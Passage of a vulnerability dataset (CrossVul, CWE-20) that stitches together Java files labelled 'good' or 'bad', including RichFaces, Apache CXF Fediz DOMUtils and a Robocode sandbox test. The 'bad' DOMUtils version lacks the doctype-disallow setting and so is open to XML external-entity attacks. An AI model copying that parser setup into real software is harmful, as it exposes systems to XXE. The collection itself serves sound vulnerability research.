* Deregisters the server auth module (and encompassing wrappers/factories) that was previously registered via a call
* to registerServerAuthModule.
*
* @param servletContext the context of the app for which the module is deregistered
*/
public static void deregisterServerAuthModule(ServletContext servletContext) {
String registrationId = (String) servletContext.getAttribute(CONTEXT_REGISTRATION_ID);
if (!isEmpty(registrationId)) {
AccessController.doPrivileged(new PrivilegedAction<Boolean>() {
public Boolean run() {
return AuthConfigFactory.getFactory().removeRegistration(registrationId);
}
});
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_4247_3
|
crossvul-java_data_good_2026_0
|
/*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc. and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.richfaces.webapp;
import java.io.IOException;
import java.io.Serializable;
import java.text.MessageFormat;
import java.util.Collections;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.atmosphere.cpr.BroadcastFilter;
import org.atmosphere.cpr.Broadcaster.SCOPE;
import org.atmosphere.cpr.Meteor;
import org.richfaces.application.push.PushContext;
import org.richfaces.application.push.Request;
import org.richfaces.application.push.Session;
import org.richfaces.application.push.impl.RequestImpl;
import org.richfaces.log.Logger;
import org.richfaces.log.RichfacesLogger;
/**
* Serves as delegate for Atmposphere servlets - should not be used directly
*
* @author Nick Belaevski
*
*/
public class PushHandlerFilter implements Filter, Serializable {
public static final String SESSION_ATTRIBUTE_NAME = Session.class.getName();
public static final String REQUEST_ATTRIBUTE_NAME = Request.class.getName();
private static final long serialVersionUID = 5724886106704391903L;
public static final String PUSH_SESSION_ID_PARAM = "pushSessionId";
private static final Logger LOGGER = RichfacesLogger.WEBAPP.getLogger();
private int servletMajorVersion;
private transient ServletContext servletContext;
public void init(FilterConfig filterConfig) throws ServletException {
servletContext = filterConfig.getServletContext();
servletMajorVersion = servletContext.getMajorVersion();
}
/**
* Note: Filter does not delegate to chain, since it would lead into cycle by calling
* {@link PushServlet#service(ServletRequest, ServletResponse)}.
*/
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,
ServletException {
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse) {
HttpServletRequest httpReq = (HttpServletRequest) request;
HttpServletResponse httpResp = (HttpServletResponse) response;
if ("GET".equals(httpReq.getMethod())) {
String pushSessionId = httpReq.getParameter(PUSH_SESSION_ID_PARAM);
Session session = null;
if (pushSessionId != null) {
ensureServletContextAvailable(request);
PushContext pushContext = (PushContext) servletContext.getAttribute(PushContext.INSTANCE_KEY_NAME);
session = pushContext.getSessionManager().getPushSession(pushSessionId);
}
if (session == null) {
if (LOGGER.isDebugEnabled()) {
LOGGER.debug(MessageFormat.format("Session {0} was not found", pushSessionId));
}
httpResp.sendError(HttpServletResponse.SC_BAD_REQUEST);
return;
}
httpResp.setContentType("text/plain");
Meteor meteor = Meteor.build(httpReq, SCOPE.REQUEST, Collections.<BroadcastFilter>emptyList(), null);
try {
Request pushRequest = new RequestImpl(meteor, session);
httpReq.setAttribute(SESSION_ATTRIBUTE_NAME, session);
httpReq.setAttribute(REQUEST_ATTRIBUTE_NAME, pushRequest);
pushRequest.suspend();
} catch (Exception e) {
LOGGER.error(e.getMessage(), e);
}
return;
}
}
}
/**
* Ensures that servletContext instance is available, or throws exception.
*
* This method ensures compatibility with Servlet <3.0, which doesn't support obtaining {@link ServletContext} from
* {@link ServletRequest}.
*
* @param request {@link ServletRequest}
* @throws {@link IllegalStateException} when {@link ServletContext} won't be available in Servlets <3.0 environments.
* This can happen when this filter was serialized.
*/
private void ensureServletContextAvailable(ServletRequest request) {
if (servletContext == null) {
if (servletMajorVersion >= 3) {
servletContext = request.getServletContext();
} else {
throw new IllegalStateException(
"ServletContext is not available (you are using Servlets API <3.0; it might be caused by "
+ PushHandlerFilter.class.getName() + " in distributed environment)");
}
}
}
public void destroy() {
servletContext = null;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_2026_0
|
crossvul-java_data_good_657_0
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.fediz.core.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Reader;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import javax.xml.XMLConstants;
import javax.xml.namespace.QName;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import org.w3c.dom.Attr;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.Text;
import org.xml.sax.EntityResolver;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Few simple utils to read DOM. This is originally from the Jakarta Commons Modeler.
*
* @author Costin Manolache
*/
public final class DOMUtils {
private static final Logger LOG = LoggerFactory.getLogger(DOMUtils.class);
private static final String XMLNAMESPACE = "xmlns";
private static final DocumentBuilderFactory DBF = DocumentBuilderFactory.newInstance();
static {
try {
DBF.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DBF.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DBF.setValidating(false);
DBF.setIgnoringComments(false);
DBF.setIgnoringElementContentWhitespace(true);
DBF.setNamespaceAware(true);
// DBF.setCoalescing(true);
// DBF.setExpandEntityReferences(true);
} catch (ParserConfigurationException ex) {
LOG.error("Error configuring DocumentBuilderFactory", ex);
}
}
private DOMUtils() {
}
/**
* This function is much like getAttribute, but returns null, not "", for a nonexistent attribute.
*
* @param e
* @param attributeName
*/
public static String getAttributeValueEmptyNull(Element e, String attributeName) {
Attr node = e.getAttributeNode(attributeName);
if (node == null) {
return null;
}
return node.getValue();
}
/**
* Get the trimmed text content of a node or null if there is no text
*/
public static String getContent(Node n) {
String s = getRawContent(n);
if (s != null) {
s = s.trim();
}
return s;
}
/**
* Get the raw text content of a node or null if there is no text
*/
public static String getRawContent(Node n) {
if (n == null) {
return null;
}
StringBuilder b = null;
String s = null;
Node n1 = n.getFirstChild();
while (n1 != null) {
if (n1.getNodeType() == Node.TEXT_NODE) {
if (b != null) {
b.append(((Text)n1).getNodeValue());
} else if (s == null) {
s = ((Text)n1).getNodeValue();
} else {
b = new StringBuilder(s).append(((Text)n1).getNodeValue());
s = null;
}
}
n1 = n1.getNextSibling();
}
if (b != null) {
return b.toString();
}
return s;
}
/**
* Get the first element child.
*
* @param parent lookup direct childs
* @param name name of the element. If null return the first element.
*/
public static Node getChild(Node parent, String name) {
if (parent == null) {
return null;
}
Node first = parent.getFirstChild();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
// System.out.println("getNode: " + name + " " +
// node.getNodeName());
if (node.getNodeType() != Node.ELEMENT_NODE) {
continue;
}
if (name != null && name.equals(node.getNodeName())) {
return node;
}
if (name == null) {
return node;
}
}
return null;
}
public static String getAttribute(Node element, String attName) {
NamedNodeMap attrs = element.getAttributes();
if (attrs == null) {
return null;
}
Node attN = attrs.getNamedItem(attName);
if (attN == null) {
return null;
}
return attN.getNodeValue();
}
public static String getAttribute(Element element, QName attName) {
Attr attr;
if (StringUtils.isEmpty(attName.getNamespaceURI())) {
attr = element.getAttributeNode(attName.getLocalPart());
} else {
attr = element.getAttributeNodeNS(attName.getNamespaceURI(), attName.getLocalPart());
}
return attr == null ? null : attr.getValue();
}
public static void setAttribute(Node node, String attName, String val) {
NamedNodeMap attributes = node.getAttributes();
Node attNode = node.getOwnerDocument().createAttributeNS(null, attName);
attNode.setNodeValue(val);
attributes.setNamedItem(attNode);
}
public static void removeAttribute(Node node, String attName) {
NamedNodeMap attributes = node.getAttributes();
attributes.removeNamedItem(attName);
}
/**
* Set or replace the text value
*/
public static void setText(Node node, String val) {
Node chld = DOMUtils.getChild(node, Node.TEXT_NODE);
if (chld == null) {
Node textN = node.getOwnerDocument().createTextNode(val);
node.appendChild(textN);
return;
}
// change the value
chld.setNodeValue(val);
}
/**
* Find the first direct child with a given attribute.
*
* @param parent
* @param elemName name of the element, or null for any
* @param attName attribute we're looking for
* @param attVal attribute value or null if we just want any
*/
public static Node findChildWithAtt(Node parent, String elemName, String attName, String attVal) {
Node child = DOMUtils.getChild(parent, Node.ELEMENT_NODE);
if (attVal == null) {
while (child != null && (elemName == null || elemName.equals(child.getNodeName()))
&& DOMUtils.getAttribute(child, attName) != null) {
child = getNext(child, elemName, Node.ELEMENT_NODE);
}
} else {
while (child != null && (elemName == null || elemName.equals(child.getNodeName()))
&& !attVal.equals(DOMUtils.getAttribute(child, attName))) {
child = getNext(child, elemName, Node.ELEMENT_NODE);
}
}
return child;
}
/**
* Get the first child's content ( ie it's included TEXT node ).
*/
public static String getChildContent(Node parent, String name) {
Node first = parent.getFirstChild();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
// System.out.println("getNode: " + name + " " +
// node.getNodeName());
if (name.equals(node.getNodeName())) {
return getRawContent(node);
}
}
return null;
}
public static QName getElementQName(Element el) {
return new QName(el.getNamespaceURI(), el.getLocalName());
}
/**
* Get the first direct child with a given type
*/
public static Element getFirstElement(Node parent) {
Node n = parent.getFirstChild();
while (n != null && Node.ELEMENT_NODE != n.getNodeType()) {
n = n.getNextSibling();
}
if (n == null) {
return null;
}
return (Element)n;
}
public static Element getNextElement(Element el) {
Node nd = el.getNextSibling();
while (nd != null) {
if (nd.getNodeType() == Node.ELEMENT_NODE) {
return (Element)nd;
}
nd = nd.getNextSibling();
}
return null;
}
/**
* Return the first element child with the specified qualified name.
*
* @param parent
* @param q
*/
public static Element getFirstChildWithName(Element parent, QName q) {
String ns = q.getNamespaceURI();
String lp = q.getLocalPart();
return getFirstChildWithName(parent, ns, lp);
}
/**
* Return the first element child with the specified qualified name.
*
* @param parent
* @param ns
* @param lp
*/
public static Element getFirstChildWithName(Element parent, String ns, String lp) {
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String ens = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(ens) && lp.equals(e.getLocalName())) {
return e;
}
}
}
return null;
}
/**
* Return child elements with specified name.
*
* @param parent
* @param ns
* @param localName
*/
public static List<Element> getChildrenWithName(Element parent, String ns, String localName) {
List<Element> r = new ArrayList<>();
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String eNs = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(eNs) && localName.equals(e.getLocalName())) {
r.add(e);
}
}
}
return r;
}
/**
* Returns all child elements with specified namespace.
*
* @param parent the element to search under
* @param ns the namespace to find elements in
* @return all child elements with specified namespace
*/
public static List<Element> getChildrenWithNamespace(Element parent, String ns) {
List<Element> r = new ArrayList<>();
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String eNs = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(eNs)) {
r.add(e);
}
}
}
return r;
}
/**
* Get the first child of the specified type.
*
* @param parent
* @param type
*/
public static Node getChild(Node parent, int type) {
Node n = parent.getFirstChild();
while (n != null && type != n.getNodeType()) {
n = n.getNextSibling();
}
if (n == null) {
return null;
}
return n;
}
/**
* Get the next sibling with the same name and type
*/
public static Node getNext(Node current) {
String name = current.getNodeName();
int type = current.getNodeType();
return getNext(current, name, type);
}
/**
* Return the next sibling with a given name and type
*/
public static Node getNext(Node current, String name, int type) {
Node first = current.getNextSibling();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
if (type >= 0 && node.getNodeType() != type) {
continue;
}
if (name == null) {
return node;
}
if (name.equals(node.getNodeName())) {
return node;
}
}
return null;
}
public static class NullResolver implements EntityResolver {
public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
return new InputSource(new StringReader(""));
}
}
/**
* Read XML as DOM.
*/
public static Document readXml(InputStream is) throws SAXException, IOException,
ParserConfigurationException {
DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(is);
}
public static Document readXml(Reader is) throws SAXException, IOException, ParserConfigurationException {
InputSource ips = new InputSource(is);
DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(ips);
}
public static Document readXml(StreamSource is) throws SAXException, IOException,
ParserConfigurationException {
InputSource is2 = new InputSource();
is2.setSystemId(is.getSystemId());
is2.setByteStream(is.getInputStream());
is2.setCharacterStream(is.getReader());
DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(is2);
}
public static void writeXml(Node n, OutputStream os) throws TransformerException {
TransformerFactory tf = TransformerFactory.newInstance();
tf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
// identity
Transformer t = tf.newTransformer();
t.setOutputProperty(OutputKeys.INDENT, "yes");
t.transform(new DOMSource(n), new StreamResult(os));
}
public static DocumentBuilder createDocumentBuilder() {
try {
return DBF.newDocumentBuilder();
} catch (ParserConfigurationException e) {
throw new RuntimeException("Couldn't find a DOM parser.", e);
}
}
public static Document createDocument() {
try {
return DBF.newDocumentBuilder().newDocument();
} catch (ParserConfigurationException e) {
throw new RuntimeException("Couldn't find a DOM parser.", e);
}
}
public static String getPrefixRecursive(Element el, String ns) {
String prefix = getPrefix(el, ns);
if (prefix == null && el.getParentNode() instanceof Element) {
prefix = getPrefixRecursive((Element)el.getParentNode(), ns);
}
return prefix;
}
public static String getPrefix(Element el, String ns) {
NamedNodeMap atts = el.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node node = atts.item(i);
String name = node.getNodeName();
if (ns.equals(node.getNodeValue())
&& (name != null && (XMLNAMESPACE.equals(name) || name.startsWith(XMLNAMESPACE + ":")))) {
return node.getLocalName();
}
}
return null;
}
/**
* Get all prefixes defined, up to the root, for a namespace URI.
*
* @param element
* @param namespaceUri
* @param prefixes
*/
public static void getPrefixesRecursive(Element element, String namespaceUri, List<String> prefixes) {
getPrefixes(element, namespaceUri, prefixes);
Node parent = element.getParentNode();
if (parent instanceof Element) {
getPrefixesRecursive((Element)parent, namespaceUri, prefixes);
}
}
/**
* Get all prefixes defined on this element for the specified namespace.
*
* @param element
* @param namespaceUri
* @param prefixes
*/
public static void getPrefixes(Element element, String namespaceUri, List<String> prefixes) {
NamedNodeMap atts = element.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node node = atts.item(i);
String name = node.getNodeName();
if (namespaceUri.equals(node.getNodeValue())
&& (name != null && (XMLNAMESPACE.equals(name) || name.startsWith(XMLNAMESPACE + ":")))) {
prefixes.add(node.getPrefix());
}
}
}
public static String createNamespace(Element el, String ns) {
String p = "ns1";
int i = 1;
while (getPrefix(el, ns) != null) {
p = "ns" + i;
i++;
}
addNamespacePrefix(el, ns, p);
return p;
}
/**
* Starting from a node, find the namespace declaration for a prefix. for a matching namespace
* declaration.
*
* @param node search up from here to search for namespace definitions
* @param searchPrefix the prefix we are searching for
* @return the namespace if found.
*/
public static String getNamespace(Node node, String searchPrefix) {
Element el;
while (!(node instanceof Element)) {
node = node.getParentNode();
}
el = (Element)node;
NamedNodeMap atts = el.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node currentAttribute = atts.item(i);
String currentLocalName = currentAttribute.getLocalName();
String currentPrefix = currentAttribute.getPrefix();
if (searchPrefix.equals(currentLocalName) && XMLNAMESPACE.equals(currentPrefix)) {
return currentAttribute.getNodeValue();
} else if (StringUtils.isEmpty(searchPrefix) && XMLNAMESPACE.equals(currentLocalName)
&& StringUtils.isEmpty(currentPrefix)) {
return currentAttribute.getNodeValue();
}
}
Node parent = el.getParentNode();
if (parent instanceof Element) {
return getNamespace((Element)parent, searchPrefix);
}
return null;
}
public static List<Element> findAllElementsByTagNameNS(Element elem, String nameSpaceURI, String localName) {
List<Element> ret = new LinkedList<>();
findAllElementsByTagNameNS(elem, nameSpaceURI, localName, ret);
return ret;
}
private static void findAllElementsByTagNameNS(Element el, String nameSpaceURI, String localName,
List<Element> elementList) {
if (localName.equals(el.getLocalName()) && nameSpaceURI.contains(el.getNamespaceURI())) {
elementList.add(el);
}
Element elem = getFirstElement(el);
while (elem != null) {
findAllElementsByTagNameNS(elem, nameSpaceURI, localName, elementList);
elem = getNextElement(elem);
}
}
public static List<Element> findAllElementsByTagName(Element elem, String tagName) {
List<Element> ret = new LinkedList<>();
findAllElementsByTagName(elem, tagName, ret);
return ret;
}
private static void findAllElementsByTagName(Element el, String tagName, List<Element> elementList) {
if (tagName.equals(el.getTagName())) {
elementList.add(el);
}
Element elem = getFirstElement(el);
while (elem != null) {
findAllElementsByTagName(elem, tagName, elementList);
elem = getNextElement(elem);
}
}
public static boolean hasElementInNS(Element el, String namespace) {
if (namespace.equals(el.getNamespaceURI())) {
return true;
}
Element elem = getFirstElement(el);
while (elem != null) {
if (hasElementInNS(elem, namespace)) {
return true;
}
elem = getNextElement(elem);
}
return false;
}
/**
* Set a namespace/prefix on an element if it is not set already. First off, it searches for the element
* for the prefix associated with the specified namespace. If the prefix isn't null, then this is
* returned. Otherwise, it creates a new attribute using the namespace/prefix passed as parameters.
*
* @param element
* @param namespace
* @param prefix
* @return the prefix associated with the set namespace
*/
public static String setNamespace(Element element, String namespace, String prefix) {
String pre = getPrefixRecursive(element, namespace);
if (pre != null) {
return pre;
}
element.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:" + prefix, namespace);
return prefix;
}
/**
* Add a namespace prefix definition to an element.
*
* @param element
* @param namespaceUri
* @param prefix
*/
public static void addNamespacePrefix(Element element, String namespaceUri, String prefix) {
element.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:" + prefix, namespaceUri);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_657_0
|
crossvul-java_data_bad_761_3
|
/**
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* https://robocode.sourceforge.io/license/epl-v10.html
*/
package net.sf.robocode.test.robots;
import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;
/**
* @author Flemming N. Larsen (original)
*/
public class TestHttpAttack extends RobocodeTestBed {
private boolean messagedAccessDenied;
@Override
public String getRobotNames() {
return "tested.robots.HttpAttack,sample.Target";
}
@Override
public void onTurnEnded(TurnEndedEvent event) {
super.onTurnEnded(event);
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
if (out.contains("access denied (java.net.SocketPermission")
|| out.contains("access denied (\"java.net.SocketPermission\"")) {
messagedAccessDenied = true;
}
}
@Override
protected void runTeardown() {
Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
}
@Override
protected int getExpectedErrors() {
return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_3
|
crossvul-java_data_bad_657_0
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.fediz.core.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Reader;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import javax.xml.XMLConstants;
import javax.xml.namespace.QName;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import org.w3c.dom.Attr;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.Text;
import org.xml.sax.EntityResolver;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Few simple utils to read DOM. This is originally from the Jakarta Commons Modeler.
*
* @author Costin Manolache
*/
public final class DOMUtils {
private static final Logger LOG = LoggerFactory.getLogger(DOMUtils.class);
private static final String XMLNAMESPACE = "xmlns";
private static final DocumentBuilderFactory DBF = DocumentBuilderFactory.newInstance();
static {
try {
DBF.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DBF.setValidating(false);
DBF.setIgnoringComments(false);
DBF.setIgnoringElementContentWhitespace(true);
DBF.setNamespaceAware(true);
// DBF.setCoalescing(true);
// DBF.setExpandEntityReferences(true);
} catch (ParserConfigurationException ex) {
LOG.error("Error configuring DocumentBuilderFactory", ex);
}
}
private DOMUtils() {
}
/**
* This function is much like getAttribute, but returns null, not "", for a nonexistent attribute.
*
* @param e
* @param attributeName
*/
public static String getAttributeValueEmptyNull(Element e, String attributeName) {
Attr node = e.getAttributeNode(attributeName);
if (node == null) {
return null;
}
return node.getValue();
}
/**
* Get the trimmed text content of a node or null if there is no text
*/
public static String getContent(Node n) {
String s = getRawContent(n);
if (s != null) {
s = s.trim();
}
return s;
}
/**
* Get the raw text content of a node or null if there is no text
*/
public static String getRawContent(Node n) {
if (n == null) {
return null;
}
StringBuilder b = null;
String s = null;
Node n1 = n.getFirstChild();
while (n1 != null) {
if (n1.getNodeType() == Node.TEXT_NODE) {
if (b != null) {
b.append(((Text)n1).getNodeValue());
} else if (s == null) {
s = ((Text)n1).getNodeValue();
} else {
b = new StringBuilder(s).append(((Text)n1).getNodeValue());
s = null;
}
}
n1 = n1.getNextSibling();
}
if (b != null) {
return b.toString();
}
return s;
}
/**
* Get the first element child.
*
* @param parent lookup direct childs
* @param name name of the element. If null return the first element.
*/
public static Node getChild(Node parent, String name) {
if (parent == null) {
return null;
}
Node first = parent.getFirstChild();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
// System.out.println("getNode: " + name + " " +
// node.getNodeName());
if (node.getNodeType() != Node.ELEMENT_NODE) {
continue;
}
if (name != null && name.equals(node.getNodeName())) {
return node;
}
if (name == null) {
return node;
}
}
return null;
}
public static String getAttribute(Node element, String attName) {
NamedNodeMap attrs = element.getAttributes();
if (attrs == null) {
return null;
}
Node attN = attrs.getNamedItem(attName);
if (attN == null) {
return null;
}
return attN.getNodeValue();
}
public static String getAttribute(Element element, QName attName) {
Attr attr;
if (StringUtils.isEmpty(attName.getNamespaceURI())) {
attr = element.getAttributeNode(attName.getLocalPart());
} else {
attr = element.getAttributeNodeNS(attName.getNamespaceURI(), attName.getLocalPart());
}
return attr == null ? null : attr.getValue();
}
public static void setAttribute(Node node, String attName, String val) {
NamedNodeMap attributes = node.getAttributes();
Node attNode = node.getOwnerDocument().createAttributeNS(null, attName);
attNode.setNodeValue(val);
attributes.setNamedItem(attNode);
}
public static void removeAttribute(Node node, String attName) {
NamedNodeMap attributes = node.getAttributes();
attributes.removeNamedItem(attName);
}
/**
* Set or replace the text value
*/
public static void setText(Node node, String val) {
Node chld = DOMUtils.getChild(node, Node.TEXT_NODE);
if (chld == null) {
Node textN = node.getOwnerDocument().createTextNode(val);
node.appendChild(textN);
return;
}
// change the value
chld.setNodeValue(val);
}
/**
* Find the first direct child with a given attribute.
*
* @param parent
* @param elemName name of the element, or null for any
* @param attName attribute we're looking for
* @param attVal attribute value or null if we just want any
*/
public static Node findChildWithAtt(Node parent, String elemName, String attName, String attVal) {
Node child = DOMUtils.getChild(parent, Node.ELEMENT_NODE);
if (attVal == null) {
while (child != null && (elemName == null || elemName.equals(child.getNodeName()))
&& DOMUtils.getAttribute(child, attName) != null) {
child = getNext(child, elemName, Node.ELEMENT_NODE);
}
} else {
while (child != null && (elemName == null || elemName.equals(child.getNodeName()))
&& !attVal.equals(DOMUtils.getAttribute(child, attName))) {
child = getNext(child, elemName, Node.ELEMENT_NODE);
}
}
return child;
}
/**
* Get the first child's content ( ie it's included TEXT node ).
*/
public static String getChildContent(Node parent, String name) {
Node first = parent.getFirstChild();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
// System.out.println("getNode: " + name + " " +
// node.getNodeName());
if (name.equals(node.getNodeName())) {
return getRawContent(node);
}
}
return null;
}
public static QName getElementQName(Element el) {
return new QName(el.getNamespaceURI(), el.getLocalName());
}
/**
* Get the first direct child with a given type
*/
public static Element getFirstElement(Node parent) {
Node n = parent.getFirstChild();
while (n != null && Node.ELEMENT_NODE != n.getNodeType()) {
n = n.getNextSibling();
}
if (n == null) {
return null;
}
return (Element)n;
}
public static Element getNextElement(Element el) {
Node nd = el.getNextSibling();
while (nd != null) {
if (nd.getNodeType() == Node.ELEMENT_NODE) {
return (Element)nd;
}
nd = nd.getNextSibling();
}
return null;
}
/**
* Return the first element child with the specified qualified name.
*
* @param parent
* @param q
*/
public static Element getFirstChildWithName(Element parent, QName q) {
String ns = q.getNamespaceURI();
String lp = q.getLocalPart();
return getFirstChildWithName(parent, ns, lp);
}
/**
* Return the first element child with the specified qualified name.
*
* @param parent
* @param ns
* @param lp
*/
public static Element getFirstChildWithName(Element parent, String ns, String lp) {
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String ens = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(ens) && lp.equals(e.getLocalName())) {
return e;
}
}
}
return null;
}
/**
* Return child elements with specified name.
*
* @param parent
* @param ns
* @param localName
*/
public static List<Element> getChildrenWithName(Element parent, String ns, String localName) {
List<Element> r = new ArrayList<>();
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String eNs = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(eNs) && localName.equals(e.getLocalName())) {
r.add(e);
}
}
}
return r;
}
/**
* Returns all child elements with specified namespace.
*
* @param parent the element to search under
* @param ns the namespace to find elements in
* @return all child elements with specified namespace
*/
public static List<Element> getChildrenWithNamespace(Element parent, String ns) {
List<Element> r = new ArrayList<>();
for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) {
if (n instanceof Element) {
Element e = (Element)n;
String eNs = (e.getNamespaceURI() == null) ? "" : e.getNamespaceURI();
if (ns.equals(eNs)) {
r.add(e);
}
}
}
return r;
}
/**
* Get the first child of the specified type.
*
* @param parent
* @param type
*/
public static Node getChild(Node parent, int type) {
Node n = parent.getFirstChild();
while (n != null && type != n.getNodeType()) {
n = n.getNextSibling();
}
if (n == null) {
return null;
}
return n;
}
/**
* Get the next sibling with the same name and type
*/
public static Node getNext(Node current) {
String name = current.getNodeName();
int type = current.getNodeType();
return getNext(current, name, type);
}
/**
* Return the next sibling with a given name and type
*/
public static Node getNext(Node current, String name, int type) {
Node first = current.getNextSibling();
if (first == null) {
return null;
}
for (Node node = first; node != null; node = node.getNextSibling()) {
if (type >= 0 && node.getNodeType() != type) {
continue;
}
if (name == null) {
return node;
}
if (name.equals(node.getNodeName())) {
return node;
}
}
return null;
}
public static class NullResolver implements EntityResolver {
public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
return new InputSource(new StringReader(""));
}
}
/**
* Read XML as DOM.
*/
public static Document readXml(InputStream is) throws SAXException, IOException,
ParserConfigurationException {
DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(is);
}
public static Document readXml(Reader is) throws SAXException, IOException, ParserConfigurationException {
InputSource ips = new InputSource(is);
